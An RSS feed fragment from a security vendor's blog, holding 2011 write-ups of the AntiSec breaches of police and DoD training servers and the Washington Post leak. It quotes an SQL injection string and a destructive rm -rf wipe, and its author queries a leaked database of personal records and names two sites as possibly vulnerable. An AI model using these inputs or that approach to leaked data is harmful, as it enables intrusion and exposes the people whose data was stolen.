<p>A big thank you to all who participated by following, commenting, and liking our Facebook posts. Let me assure you that more competitions will come your way, including a super-secret lucky draw from all those who actively contribute brilliant, insightful, knowledgeable, inspiring comments on our <a title="Acunetix Facebook" href="https://www.facebook.com/Acunetix" target="_blank">Facebook</a> page. So keep yourself active and get your friends to follow us too.</p>
<p><strong>Next time, it could be you!</strong></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/acunetix-facebook-ipad-competition-winner/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>US Police Servers Breached in New Anonymous Attack</title>
		<link>http://www.acunetix.com/blog/news/us-police-servers-breached-in-new-anonymous-attack/</link>
		<comments>http://www.acunetix.com/blog/news/us-police-servers-breached-in-new-anonymous-attack/#comments</comments>
		<pubDate>Tue, 16 Aug 2011 15:02:52 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[anonymous hacking]]></category>
		<category><![CDATA[antisec hacking group]]></category>
		<category><![CDATA[United States Police servers hack]]></category>
		<category><![CDATA[US Police servers data breach]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3930</guid>
		<description><![CDATA[On the 31st of July 2011, the system administrator of Brooks-Jeffrey Marketing (BJM) was working on his newly upgraded servers. At exactly the same time a hacker was slowly sniffing his way through the same systems and ...]]></description>
			<content:encoded><![CDATA[<p><strong>On the 31st of July 2011, the system administrator of Brooks-Jeffrey Marketing (BJM) was working on his newly upgraded servers. At exactly the same time a hacker was slowly sniffing his way through the same systems and picking up everything in his tracks. The hacker had rooted the system so deeply that he was able to report to the system administrator that everything was normal.</strong></p>
<p><strong>BJM was not randomly attacked. The hackers chose their target because the servers contained the databases of 78 different law enforcement agencies scattered across America.</strong></p>
<h2><span id="more-3930"></span>Operation AntiSec</h2>
<p>&nbsp;</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/AntiSec2_top_1.jpg"><img class="alignleft size-full wp-image-3962" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/AntiSec2_top_1.jpg" alt="" width="216" height="144" /></a>BJM is one of many victims of the ongoing AntiSec cyber security operation headed by the two notorious hacking groups Anonymous and LulzSec, who teamed up to attack large organizations and major governments all over the world.</p>
<p>The armies of Operation AntiSec have a good track record. They recently smashed the cyber fortress of the <a title="Link to DoD security breach" href="http://www.acunetix.com/blog/news/anonymous-hack-us-department-of-defence-analysis/" target="_blank">US Department of Defence</a>. Now they have humiliated the local law enforcement agencies across all of America. In the past they brought PayPal down to it’s knees and have recently infiltrated the NATO and the UN Security Forces.</p>
<p>Their hit-list &#8211; and their army, is just getting bigger and bigger with no end in sight. In this last hack they announced:</p>
<blockquote><p>“GIVE UP. You are losing the cyberwar, and the attacks against the governments, militaries, and corporations of the world will continue to escalate. Hackers, join us to make 2011 the year of leaks and revolutions.”</p></blockquote>
<h2>What was stolen</h2>
<p>In all, 10GB of sensitive information was stolen from approximately 78 different law enforcement agencies.</p>
<p>This is a quick breakdown of the information they released:</p>
<ul>
<li>Private emails from 300 accounts</li>
<li>Over 7000 passwords, addresses, phones and social security numbers</li>
<li>Other server passwords for ftp/ssh, email, cpanel and protected directories</li>
<li>Source code and backups from the core servers</li>
</ul>
<p>The Missouri Sheriff’s Association who was worst hit tried, as usual, to downplay the hack. Their director Mick Covington said:</p>
<blockquote><p>“the most the hackers got from their organization were email addresses and there were no critical details like names, social security numbers or other personal information details on their server.”</p></blockquote>
<p>Whilst this was being said, Anonymous were using the stolen credit cards to make donations to the ACLU and Bradley Mining Support Network.</p>
<h2>How they did it</h2>
<p>The hacker got in by cleverly exploiting several classic vulnerabilities in the PHP driven website of the core server. The sections below outline the most prominent of these vulnerabilities, one of which I suspect is a backdoor planted by the hackers themselves. This backdoor is significant because it allowed the hackers to keep coming back for more even though the servers were upgraded multiple times in an effort to ward off the hackers.</p>
<h3>SQL Injection</h3>
<p>In the code below we see a classic<strong> &#8216; OR &#8216;a&#8217;='a</strong> injection. The user-supplied data taken from <strong>$_GET[‘username’]</strong> is not validated for SQL Injection attacks. This allows the hacker to use <strong>$username</strong> and <strong>$password</strong> to manipulate the SQL query.</p>
<p><img class="size-full wp-image-3934 alignnone" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s1.sqlinjection.png" alt="" width="453" height="144" /></p>
<p>If you are interested in learning more about SQL Injection attacks you should watch this excellent <a title="SQL Injection Tutorial Video" href="http://youtu.be/qELByGfNJSE" target="_blank">SQL Injection Video Tutorial</a>.</p>
<h3>Shell Injection</h3>
<p>Shell Injection attacks were discovered eons ago &#8211; long before SQL Injections existed, yet they remain scattered around bad source code like old war mines. When trampled upon they cause much damage.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s2a.shellinjection1.png"><img class="size-full wp-image-3935 alignnone" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s2a.shellinjection1.png" alt="" width="429" height="122" /></a></p>
<p>In the screen shot above the variable <strong>$query</strong> which could have unvalidated user-input could also be used to inject shell commands directly to the server with dramatic effects.</p>
<h3>Source Code Injection</h3>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s3.sourcecodeinjection.png"><img class="size-full wp-image-3936 alignnone" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s3.sourcecodeinjection.png" alt="" width="281" height="99" /></a></p>
<p>This Souce Code Injection is one of a kind. I have never seen something like this before. These lines of code actually allow a hacker to append his own files into the server script. This type of security flaw is so unlikely that this could actually be the backdoor that AntiSec were boasting about in their press release.</p>
<h3>Hardcoded passwords</h3>
<p>The server was heavily fortified with industry standard encryption, and long passwords and secret keys, yet the hacker managed to decrypt every password and unlock every vault. They did this by scavenging the code for lost keys.</p>
<p>They found plenty.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4c.hardcodedpassword.png"><img class="alignnone size-full wp-image-3937" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4c.hardcodedpassword.png" alt="" width="175" height="151" /></a></p>
<p>The code above holds the key to SQL Databases Administration privileges, and in the one below the password is shown just below a warning about hardcoding passwords.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4d.hardcodedpassword2.png"><img class="alignnone size-full wp-image-3939" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4d.hardcodedpassword2.png" alt="" width="415" height="180" /></a></p>
<p>A chain is as strong as its weakest link. RSA encryption is said to be uncrackable, unless you own the private keys. Private keys are ideally not placed on a public server, and if they are they should be encrypted with another key, stored on another server. In this case, the RSA keys were stolen with a simple shell command.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4e.privatekeys.png"><img class="alignnone size-full wp-image-3940" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4e.privatekeys.png" alt="" width="328" height="260" /></a></p>
<h3>SQL Dump</h3>
<p>Now that the hacker had all the keys, he could take a quick dump &#8211; of the mySQL server of course.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s5.mysqldump.png"><img class="alignnone size-full wp-image-3941" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s5.mysqldump.png" alt="" width="411" height="98" /></a></p>
<h3>Next Target</h3>
<p>The hacker now has the entire database and hoards of usernames and passwords. This might seem like the end, but there is much more to come. In his logs, the hacker reveals how he reads the IP addresses of servers for the different jails across America that were connected to this rooted server.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s9a.jailips.png"><img class="alignnone size-full wp-image-3942" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s9a.jailips.png" alt="" width="356" height="167" /></a></p>
<p>What starts out as a website defacement quickly becomes a security breach of terrorising proportions. The hacker now knows the IP address of the other jails, but he also uncovers source code that works with the jail database. The code below, for example sets the release date for an inmate.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s9b.releaseinmate.png"><img class="alignnone size-full wp-image-3943" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s9b.releaseinmate.png" alt="" width="386" height="109" /></a></p>
<p>The hacker now moves to the next server in line and methodically repeats the whole process again.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s11.nextbox.png"><img class="alignnone size-full wp-image-3944" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s11.nextbox.png" alt="" width="337" height="223" /></a></p>
<h3>First Dump, then Wipe</h3>
<p>&nbsp;</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s12.removetraces.png"><img class="alignnone size-full wp-image-3945" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s12.removetraces.png" alt="" width="423" height="188" /></a></p>
<p>Once the hacker has slurped every bit of information off the servers he proceeds to do some cleanup. He destroys all the data on all over the servers using the <strong>rm -rf</strong>  command. With this command he is literally deleting all of the 78 law enforcement websites.</p>
<h2>Conclusions</h2>
<p>The BJMs servers were plagued with the worst security issues. A “script kiddie” could have managed to break in if he was determined enough. In this case the hacker was certainly very skilled. He executed every command with precision and for maximum damage. He did not linger too long, raped the servers completely and wiped all evidence before he left. This is the job of a specialist.</p>
<p>Operation AntiSec is starting to show just how vulnerable the web really is. Simple programming errors that are hard to detect can lead to a complete system compromise. In this particular case the hacker enjoyed picking at the so called “low hanging fruit”. A web vulnerability scan and good code review on troubled areas could have easily avoided such a devastating high-profile breach.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/us-police-servers-breached-in-new-anonymous-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anonymous hack US Department of Defence &#8211; Analysis of the Attack</title>
		<link>http://www.acunetix.com/blog/news/anonymous-hack-us-department-of-defence-analysis/</link>
		<comments>http://www.acunetix.com/blog/news/anonymous-hack-us-department-of-defence-analysis/#comments</comments>
		<pubDate>Thu, 04 Aug 2011 13:34:51 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[anonymous hacking group]]></category>
		<category><![CDATA[slq injection attack]]></category>
		<category><![CDATA[US government hacktivism]]></category>
		<category><![CDATA[US military defence data breach]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3840</guid>
		<description><![CDATA[On the 12th of July 2011, Booz Allen Hamilton the largest U.S. military defence contractor admitted that they had just suffered a very serious security breach, at the hands of hacktivist group AntiSec.
Operation Anti-Security (AntiSec) is a ...]]></description>
			<content:encoded><![CDATA[<p><strong>On the 12th of July 2011, Booz Allen Hamilton the largest U.S. military defence contractor admitted that they had just suffered a very serious security breach, at the hands of hacktivist group AntiSec.</strong></p>
<p><strong>Operation Anti-Security (AntiSec) is a hacking operation, carried out by two of the biggest names in the black-hat world – Anonymous, and LulzSec. They claim to target government corruption around the world. After hacking the servers of the Serious Organised Crime Agency in the UK, they turned their attention to the Arizona Department of Public Safety, releasing three separate caches of information.</strong></p>
<p><span id="more-3840"></span></p>
<p><strong>The hacktivist group has also attacked the U.S. Department of Homeland Security, the Brazilian government, the Tunisian government, the government of Zimbabwe, and many others. Most recently, the Anonymous branch of Operation AntiSec breached the servers of NATO, stealing around a gigabyte of data. They claimed that the information was so sensitive that they are not going to release all of it, claiming that it would be &#8220;irresponsible&#8221;.</strong></p>
<h1>What Was Stolen</h1>
<p>Dubbed &#8220;Military Meltdown Monday&#8221;, AntiSec claims to have stolen around 90,000 military email addresses, along with hashed passwords. These were saved into a highly compressed SQL dump, for easy downloading from The Pirate Bay (TPB).</p>
<p>The group, making the announcement using distinctly pirate-themed language, mentioned that they also found &#8220;maps and keys for various other treasure chests buried on the islands of government agencies, federal contractors and shady whitehat companies&#8221;.</p>
<p>The consulting agency has a policy of not commenting on leaks or attacks on its systems. However, a spokesman for the Department of Defence has indeed confirmed the attack, and has claimed that they are working together with Booz Allen Hamilton to investigate the extent and implications of this &#8220;disgraceful event&#8221;.</p>
<p>Booz Allen Hamilton tried their best to downplay the breach. In a press release after the attack they said, “At this time, we do not believe that the attack extended beyond data pertaining to a learning management system for a government agency.”</p>
<p>Jim Lewis, a cyber security expert with the Center for Strategic and International Affairs, echoed these thoughts when he said &#8220;I&#8217;m not sure it&#8217;s a big deal, they say they got lots of email addresses? Sounds like a scavenger hunt more than a hack.&#8221;</p>
<p>Booz Allen and Jim Lewis, I have some terrible news for you. This breach went beyond email addresses, this is not a scavenger hunt and the breach was not confined to your learning management system.</p>
<p>Read the next few sections of this article to understand the scope of the attack, gain insight into how it was performed and take a peek inside the stolen data.</p>
<h1>How they did it</h1>
<p>The hacking group did not tell us exactly how the hack was executed, however they did mention that their entry point was an <a title="SQL Injection web vulnerability" href="http://www.acunetix.com/websitesecurity/sql-injection.htm">SQL Injection attack</a>. They managed to dump the entire database into a text file which means that they probably also gained root access to the systems. This theory is further enforced by the fact that they found and stole other files, including source code and some emails. This type of data is not normally siphoned off using SQL Injection but is the indication of a deeper penetration.</p>
<p>The security measures on the affected system did not impress AntiSec. Their description of the security goes like this, “&#8230;we found their vessel being a puny wooden barge. We infiltrated a server on their network that basically had no security measures in place&#8221;.</p>
<p>This statement is outright embarrassing for Booz Allen who claim that they offer “robust cyber security solutions”. They also state on their website that “cyber security cannot be treated as an afterthought.”</p>
<p>AntiSec enclosed an ‘invoice’ for the security audit:</p>
<blockquote><p><em>“Enclosed is the invoice for our audit of your security systems, as well as the  auditor&#8217;s conclusion.</em></p>
<p><em>4 hours of man power: $40.00</em><br />
<em> Network auditing: $35.00</em><br />
<em> Web-app auditing: $35.00</em><br />
<em> Network infiltration: $0.00</em><br />
<em> Password and SQL dumping: $200.00</em><br />
<em> Decryption of data: $0.00</em><br />
<em> Media and press: $0.00</em></p>
<p><em>Total bill: $310.00”</em></p></blockquote>
<p>Although they were probably just trying to be funny, some information can be elicited from this. First of all, it seems that the hack took four hours and was kicked off by a network audit, followed by an audit on the web applications. The web application audit is probably what caught the SQL Injection vulnerability in the first place. Network infiltration followed and an SQL dump was then taken. Prices in this invoice are an indication of how much effort was involved in each of the activities.</p>
<h1>Data analysis</h1>
<p>To understand the scope of the hack I decided to mount the SQL dump onto my database system and perform some analysis. The database is nearly a gigabyte in size and contains over 600 tables. Sifting through this database took time and patience, however I think I have uncovered a lot of juicy information that I would like to share with you.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/dbtables.png"><img class="aligncenter size-full wp-image-3857" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/dbtables.png" alt="" width="498" height="399" /></a></p>
<p>&nbsp;</p>
<p>So what are we dealing with here? The table <strong>login_text</strong> gives some context. It contains the message that is displayed when users log into the system. This text reveals the exact usage of this database. Here is an extract:</p>
<blockquote><p>mysql&gt; select TEXT from login_text;</p>
<p>“WELCOME TO THE JOINT KNOWLEDGE DEVELOPMENT AND DISTRIBUTION CAPABILITY (JKDDC) JOINT KNOWLEDGE ONLINE (JKO) PUBLIC PORTAL/LEARNING MANAGEMENT SYSTEM, A DEFENSE DEPARTMENT RESOURCE ADDRESSING INDIVIDUAL TRAINING NEEDS VIA DISTANCE LEARNING”</p></blockquote>
<p>From this text we learn that we are dealing with the U.S Department of Defence distance learning programme. The login text continues:</p>
<blockquote><p>“&#8230;the JKO portal provides access to Instant Messaging, Communities of Interest, and other Joint resources.  To obtain a JKO portal account, please visit the JKO public site&#8230;”</p></blockquote>
<p>With this we can see that the database is not only used as a Learning Management System, but also as a portal for other resources, an Instant Messaging service and also an Online Community.</p>
<p>The text also reveals two other public learning resources which are quite possibly also vulnerable to the same attack as this one. They are:</p>
<ul>
<li>https://jkolms.cmil.org/html/user/RedirectApplication.jsp</li>
<li>http://www.usfk.mil/webtraining/</li>
</ul>
<p>Another interesting note is this:</p>
<blockquote><p>“U.S. Department of Defense Students &#8211; Please ensure you include your Social Security Number (SSN) when registering for an account with the JKO LMS&#8230;”</p></blockquote>
<p><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif;font-size: 13px;line-height: 19px">This statement leads me to the next stage of the investigation &#8211; what personal user information can be gathered from this stolen database?</span></p>
<p>The tables that will answer this question are:<strong> user, user_extension, address, phone and user_email.</strong></p>
<p>A few SQL queries will reveal all.</p>
<p>The user table is my starting point.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/users.png"><img class="aligncenter size-full wp-image-3871" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/users.png" alt="" width="580" height="305" /></a></p>
<p>The <strong>users</strong> table contains a lot of information including the date of birth, gender and social security number. After browsing the data I can see that most of the social security numbers are invalid and the user first and last names are not used. We can also see some system users such as SYSADMIN. These users have a strange social security number that sort of looks like a passsword, however I cannot tell for sure.</p>
<p>There are over 74,000 users in this table. Most of the entries were created in August 2010, however some records indicate that this database dates back to early 2008. One record was modified in March 2011 meaning that this database was being used until recently.</p>
<p>So, where are these users from? The <strong>address</strong> table should give us that information.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/addresses.png"><img class="aligncenter size-full wp-image-3870" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/addresses.png" alt="" width="555" height="300" /></a><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/countries.png"><br />
</a></p>
<p>The <strong>address</strong> table is ripe with information. It gives full addresses for every user on the system. Interesting to note how many countries there are. I counted 89 distinct countries using the following SQL command:</p>
<blockquote><p>SELECT distinct `COUNTRY_CD` FROM `address` order by country_cd asc</p></blockquote>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/countries.png"><img class="aligncenter size-full wp-image-3869" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/countries.png" alt="" width="360" height="415" /></a>The <strong>phone</strong> table seems to have valid phone numbers linked to the user ID. It however only contains only 350 records, most of which date back to 2007, so they are probably old records from a previous version of the database.</p>
<p>The <strong>user_extension</strong> table contains a promising 70,500 records, however it also fails to reveal anything interesting apart from email addresses lost in a sea of NULLs.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/user_extension.png"><img class="aligncenter size-full wp-image-3868" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/user_extension.png" alt="" width="562" height="161" /></a></p>
<p>Another interesting table is the one called <strong>email_address</strong>. The table contains 84,000 records, however some of them are listed as “NOEMAIL@JFCOM.MIL”. When this email address is filered out I am left with 69,000 unique email addresses. These can be linked to the mailing addresses making them a very nice data set for spammers, scammers and phishers.</p>
<p>Here is my output:</p>
<blockquote><p>SELECT USER_ID, EMAIL_ADDRESS, CREATED_DATE FROM `email_address` Where email_address &lt;&gt; &#8216;NOEMAIL@JFCOM.MIL&#8217; GROUP BY EMAIL_ADDRESS ORDER BY CREATED_DATE DESC</p></blockquote>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/emails.png"><img class="aligncenter size-full wp-image-3867" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/emails.png" alt="" width="545" height="359" /></a></p>
<p>Most of this data comes from military sites, however there are a few personal or company email addresses too. Interestingly the full name of the person is peresent in his email address. The bar chart below shows how the majority of email addresses are distributed over top-level domains.</p>
<p style="text-align: left"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/chart_1.png"><img class="aligncenter size-full wp-image-3886" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/chart_1.png" alt="" width="540" height="334" /></a>So far I have data mined personal information for more than seventy thousand military personell, however the group AntiSec mentioned a ‘treasure trove’ of information that will enable them to penetrate further into other miliary networks. I scavenged the database for these nuggets, here is what I found.</p>
<p style="text-align: left">The <strong>password</strong> table contains 155,000 records containg the password of all the users in the database. Many users use the same passwords on multiple sites, so this information could be a very big asset for potential attacks on the users and their organizations. You can see a screen shot of the passwords here:</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/password.png"><img class="aligncenter size-full wp-image-3866" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/password.png" alt="" width="465" height="288" /></a></p>
<p>The password is reportedly in this format: <strong>base64(sha1(password))</strong>. If this is really the case, then all passwords could be revealed by brute-force. This can take some time for the strongest passwords, however Anonymous have already solicited the help of the public by providing the files for download in an easy format, and giving a link to the associated email addresses. Furthermore, I also noticed many duplicate passwords, this is an indication that password salting is not taking place. Salting is a technique used to slow down brute-force attacks on hashes.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/password_nosalt.png"><img class="aligncenter size-full wp-image-3865" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/password_nosalt.png" alt="" width="440" height="246" /></a></p>
<p>One very interesting table is the <strong>activity_log</strong>. This table logs activity of online users and contains informartion such as the IP address of the user and his user-agent, which reveals the operating system and web browser that he is using. This information makes targeted attacks much more probable.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/logins1.png"><img class="aligncenter size-full wp-image-3864" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/logins1.png" alt="" width="536" height="331" /></a></p>
<p>As you can see, some of these IP addresses are internal addresses, some logins also appear to be from the local machine. Logins are as recent as April 2011, meaning that the password list is very ‘fresh’. The browser and operating system are also valuable information to a hacker. It’s disheartenining to see so many Internet Explorer browsers in use.</p>
<p>Some other public IP addresses are also owned by Booz Allen themselves:</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/booz_ip.png"><img class="aligncenter size-full wp-image-3862" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/booz_ip.png" alt="" width="538" height="60" /></a></p>
<p>In all, I counted over 47,000 unique IP addresses using the following SQL command:</p>
<blockquote><p>SELECT COUNT( DISTINCT ip_address ) FROM `activity_log`</p></blockquote>
<p>Other IP addresses are coming from all over the place. I picked a handful and found them to come from diffrerent DoD agencies distributed across America.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/ipaddresses.png"><img class="aligncenter size-full wp-image-3861" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/ipaddresses.png" alt="" width="566" height="206" /></a></p>
<p>Apart from personell information, I was also able to find other data in some miscellaneous tables. This data can all be used for further hacking into the government’s networks.</p>
<p>The table <strong>application_owner</strong> lists the possible next targets from AntiSec, as these are all contributors to the LMS.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/agencies.png"><img class="aligncenter size-full wp-image-3860" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/agencies.png" alt="" width="520" height="379" /></a></p>
<p>Some more organizations can be gleaned from the table <strong>mil_quota_source_node</strong>. A total of 134 different agencies can be identified from this table.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/moreagencies.png"><img class="aligncenter size-full wp-image-3859" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/moreagencies.png" alt="" width="423" height="677" /></a></p>
<p>Finally, I look at the system <strong>user</strong> table where I find a few more juicy bits. Hosts, usernames and hashed passwords which appear to be unsalted (notice same hash is listed twice.)</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/systemusers.png"><img class="aligncenter size-full wp-image-3858" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/systemusers.png" alt="" width="521" height="251" /></a></p>
<p><span class="Apple-style-span" style="font-size: 26px;font-weight: bold">Verdict</span></p>
<p>I set out on this investigation to determine whether AntiSec was just bluffing, and whether Booz Allen were right to downplay the incident. My initial hunch was that a bunch of teenagers were making the headlines again because of some silly data that they managed to scrape off some ageing website. I could have not been more far off from the truth.</p>
<p>It is evident that this is no small breach. The sheer numbers of usernames, passwords and email addresses, along with hostnames, IP addresses, user-agents and internal user names makes this hack look like the beginning of a larger wave of attacks that will hit the American government in the coming months.</p>
<h1>Closing</h1>
<p>To conclude I would like to directly quote the motto of Anonymous. Their motto never scared me, however as I look deeper into the work of this group I start feeling more and more uneasy. Should we be taking these anarchists more seriously?</p>
<p><em>&#8220;We are Anonymous.</em><br />
<em> We are Legion.</em><br />
<em> We are Antisec.</em><br />
<em> We do not forgive.</em><br />
<em> We do not forget.</em><br />
<em> Expect us.&#8221;</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/anonymous-hack-us-department-of-defence-analysis/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Acunetix launches Acunetix web security Forums</title>
		<link>http://www.acunetix.com/blog/news/acunetix-launches-acunetix-forums/</link>
		<comments>http://www.acunetix.com/blog/news/acunetix-launches-acunetix-forums/#comments</comments>
		<pubDate>Thu, 21 Jul 2011 11:26:57 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[acunetix discussion boards]]></category>
		<category><![CDATA[acunetix forums]]></category>
		<category><![CDATA[acunetix support]]></category>
		<category><![CDATA[web security forums]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3818</guid>
		<description><![CDATA[As part of our commitment to help companies and business secure their websites and web applications, we are launching the Acunetix Forums.
If you are an Acunetix Web Vulnerability Scanner user (free or commercial) feel free ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1323" title="acunetix_logo_blog_post_100x74" src="http://www.acunetix.com/blog/wp-content/uploads/2010/02/acunetix_logo_blog_post_100x741.png" alt="" width="100" height="74" />As part of our commitment to help companies and business secure their websites and web applications, we are launching the <a title="Acunetix Forums" href="http://www.acunetix.com/forums">Acunetix Forums</a>.</p>
<p>If you are an <a title="Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">Acunetix Web Vulnerability Scanner</a> user (free or commercial) feel free to post any queries or suggestions you might have about configuring and using Acunetix WVS, and also about securing your web applications.  Please note that this forum is mostly user to user, and posts are NOT always answered by Acunetix staff.  Before you post your queries, we suggest you read the <a title="Acuetix Web Vulnerability Scanner Forums rules" href="http://www.acunetix.com/forums/acunetix-web-vulnerability-scanner/forum-rules-read-to-get-answers">forums rules</a>.</p>
<p>If you have Acunetix Web Vulnerability Scanner feature requests, post your idea in our new Feature Request System. You can read more about it <a title="New Feature Request System for Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/blog/news/new-feature-request-system/">here</a>.</p>
<p>We thank you in advance for your cooperation and look forward to hear from you!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/acunetix-launches-acunetix-forums/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hackers Slurp over a million user accounts from Washington Post</title>
		<link>http://www.acunetix.com/blog/news/million-user-accounts-from-washington-post-stolen/</link>
		<comments>http://www.acunetix.com/blog/news/million-user-accounts-from-washington-post-stolen/#comments</comments>
		<pubDate>Thu, 14 Jul 2011 08:32:54 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[security breach]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[washington post]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3799</guid>
		<description><![CDATA[&#160;

The Washington Post website has been hit with a double security breach. Hackers have made off with around 1.3 million user IDs and email address from the &#8220;Jobs&#8221; section of the site. The attackers were ...]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/07/TheWashingtonPostLogo.jpg"><img class="alignleft size-full wp-image-3776" src="http://www.acunetix.com/blog/wp-content/uploads/2011/07/TheWashingtonPostLogo.jpg" alt="" width="200" height="180" /></a></p>
<p><strong>The Washington Post website has been hit with a double security breach. Hackers have made off with around 1.3 million user IDs and email address from the &#8220;Jobs&#8221; section of the site. The attackers were able to gain access on two separate occasions: on the 27th and 28th of June.</strong></p>
<p><strong>To their credit, the Washington Post appears to have acted quickly to plug the gap and set up an appropriate response. It appears that user passwords and other personal information remains safe. The Post is currently investigating the incident, has taken steps to prevent against similar attacks, and is &#8220;pursuing the matter with law enforcement&#8221;.</strong></p>
<p><strong>It appears that the worst that users can expect is an increase in the amount of unsolicited SPAM emails, as user accounts on the Jobs website remain secure.</strong></p>
<h1><span id="more-3799"></span>How Did This Happen?</h1>
<p>The Washington Post did not specify how the attack occurred, but it is quite possibly <a href="http://www.acunetix.com/websitesecurity/sql-injection.htm">SQL Injection</a>, or some other kind of database attack, as it appears that a database was stolen. In an SQL Injection Attack, a hacker injects his own SQL commands into a web server to read from database tables that are normally restricted. It is one of the most popular types of attacks against websites and can be used to steal entire databases.</p>
<h1>How was the Incident Detected?</h1>
<p>The incident could have been detected in a variety of ways. The Post might have noticed a surge in traffic to the Jobs website, looked at the log files and performed a <a title="Acunetix Website Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">web application vulnerability scan</a>. This would have pointed out possible attack vectors and pinpointed the avenue of attack. It is also possible that the leak was discovered after users reported increased levels of SPAM and/or attempts at phishing.</p>
<p>Nobody has come forward and claimed responsibility, and the Washington Post has not pointed any fingers yet. At this point, one can only speculate.</p>
<h1>Damage</h1>
<p>The actual amount of personal information stolen is considerably less as compared to other recent high-profile attacks. &#8220;Only&#8221; 1.3 million user IDs and email addresses were stolen. The Washington Post acted quickly to detect and plug the gap. However, a clever attacker can leverage that information through certain malicious techniques.</p>
